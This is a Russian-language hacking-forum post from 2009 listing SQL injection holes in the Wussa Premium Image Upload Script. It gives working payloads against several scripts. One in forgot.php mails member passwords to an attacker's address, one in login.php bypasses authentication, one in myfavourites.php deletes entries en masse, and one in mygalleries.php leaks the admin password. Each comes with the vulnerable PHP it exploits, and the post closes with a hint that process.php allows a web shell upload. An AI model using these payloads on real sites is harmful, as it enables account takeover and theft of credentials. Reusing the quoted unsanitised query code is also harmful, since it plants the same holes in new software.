| BlackSun |
26.03.2009 13:29 |
Wussa Premium Image Upload Script
Wussa Premium Image Upload Script
Вервия: 2.0
Офф сайт: http://wussa.com/
Скачать: http://allskripts.ru/other_scripts/hosting/268-wussa-premium-image-upload-script.html
Зависимость для всех скуль: magic_quotes = off
SQL-INJ
Уязвимый скрипт: forgot.php
POST Запрос: username=' UNION SELECT id,username,password,userpass,' asdasd@asdasd.ru',access from members -- -
Пароль придет на указанный email
Уязвимый кусок кода:
PHP код:
if (isset($_POST["forgot"])) {
$username = htmlspecialchars(trim($_POST["username"]));
$email = htmlspecialchars(trim($_POST["email"]));
if (($username != "") || ($email != ""))
{
if ($username != "")
$q = "SELECT * FROM `members` WHERE username = '$username'";
else
$q = "SELECT * FROM `members` WHERE email = '$email'";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);
if (!$number) {
echo "Sorry ! No account with the specified username or email exists";
showForm();
}
else {
$r = mysql_fetch_array($result_set);
$email1 = $r['email'];
$username = $r['username'];
$password = $r['password'];
$userpass = $r['userpass'];
$to = $email1;
$subject = "$webtitle - Password Recovery";
$body = "Hello $username, \n\nYou requested for your $webtitle account password recovery.\nYour registration information is shown below:\n\nUser: $username\nPass: $password\nUser Pass: $userpass \n\nThanks!\n{$website}";
SQL-INJ обход авторизации
Уязвимый скрипт: login.php
Запрос: UserName = ' OR 1=1) -- -, пароль любой
Уязвимый кусок кода:
PHP код:
if (isset($_POST["username"])) {
$username = htmlspecialchars(trim($_POST["username"]));
$password = htmlspecialchars(trim($_POST["password"]));
echo "<br />";
if (($username != "") && ($password != ""))
{
$q = "SELECT username FROM `members` WHERE (username = '$username') and (password = '$password')";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);
if (!$number) {
echo "Sorry ! The username does not exist, or maybe you have specified an incorrect password.";
showForm();
}
else {
// session.inc.php
$username = $_SESSION["imagehost-user"];
$password = $_SESSION["imagehost-pass"];
$q = "SELECT id, userpass FROM `members` WHERE (username = '$username') and (password = '$password')";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);
if (!$number) {
session_destroy();
$session = false;
}
else {
SQL-INJ Удаление любых картинок из избранного
Уязвимый скрипт: myfavourites.php
Запрос: myfavourites.php?act=delete&id=')+OR+1=1+--+
Уязвимый кусок кода:
PHP код:
if ($session == true)
{
if (isset($_GET["act"])) {
$act = $_GET["act"];
if (isset($_GET["id"]))
$id = trim($_GET["id"]);
else
die();
//DELETE AN IMAGE FROM FAVOURITES
if ($act == "delete") {
mysql_query("DELETE FROM `favourites` WHERE (id = '$id') AND (userid = '$userid')");
SQL-INJ Получение пароля администратора
Уязвимый скрипт: mygalleries.php
POST Запрос: changename=1&id= 6a416dac9ffe8dd948b21e9d67637189&name=',name=(select password from settings limit 0,1) where id=' 6a416dac9ffe8dd948b21e9d67637189' -- -
Где хэшеподобная хрень - айди сушествующей галлереи
Уязвимый кусок кода:
PHP код:
if (isset($_POST["changename"])) {
$show = false;
$id = $_POST["id"];
$name = $_POST["name"];
if ($name != "") {
if ($id != "") {
if(mysql_query("UPDATE `galleries` SET name='$name' WHERE (id='$id') AND (userid='$userid')")) {
Думаю хватит, скулей там еще полно, все однотипные ..
PS: process.php
PHP код:
if (( ($_FILES[$name]["type"] == "image/gif")
|| ($_FILES[$name]["type"] == "image/jpeg")
|| ($_FILES[$name]["type"] == "image/pjpeg")
|| ($_FILES[$name]["type"] == "image/x-png")
|| ($_FILES[$name]["type"] == "image/bmp")
|| ($_FILES[$name]["type"] == "image/png")))
{
$size = intval(($_FILES[$name]["size"] / 1024) / 1024);
if ($session == true)
$limit = $maxsizemember;
else
$limit = $maxsizeguest;
if ($size > $limit)
die ("Sorry ! The size of the image exceeds the $limit Mb limit.");
if ($_FILES[$name]["error"] > 0) {
die("Error: " . $_FILES[$name]["error"]);
}
else {
$n = $_FILES[$name]["name"];
$rndName = md5($n . date("d-m-y") . time()) . "." . findExtension($n);
$uploadPath = "pictures/" . $rndName;
$tempPath = $_FILES[$name]["tmp_name"];
move_uploaded_file($tempPath, $uploadPath);
}
}
else
die("Sorry ! \"{$_FILES[$name]["name"]}\" is an invalid image.");
Файл не проверяет ресширение файлов, возможно можно залить шелл, правильно сформировав HTTP пакет, но мне лень было это проверять :) Файлы заливаются в pictures
|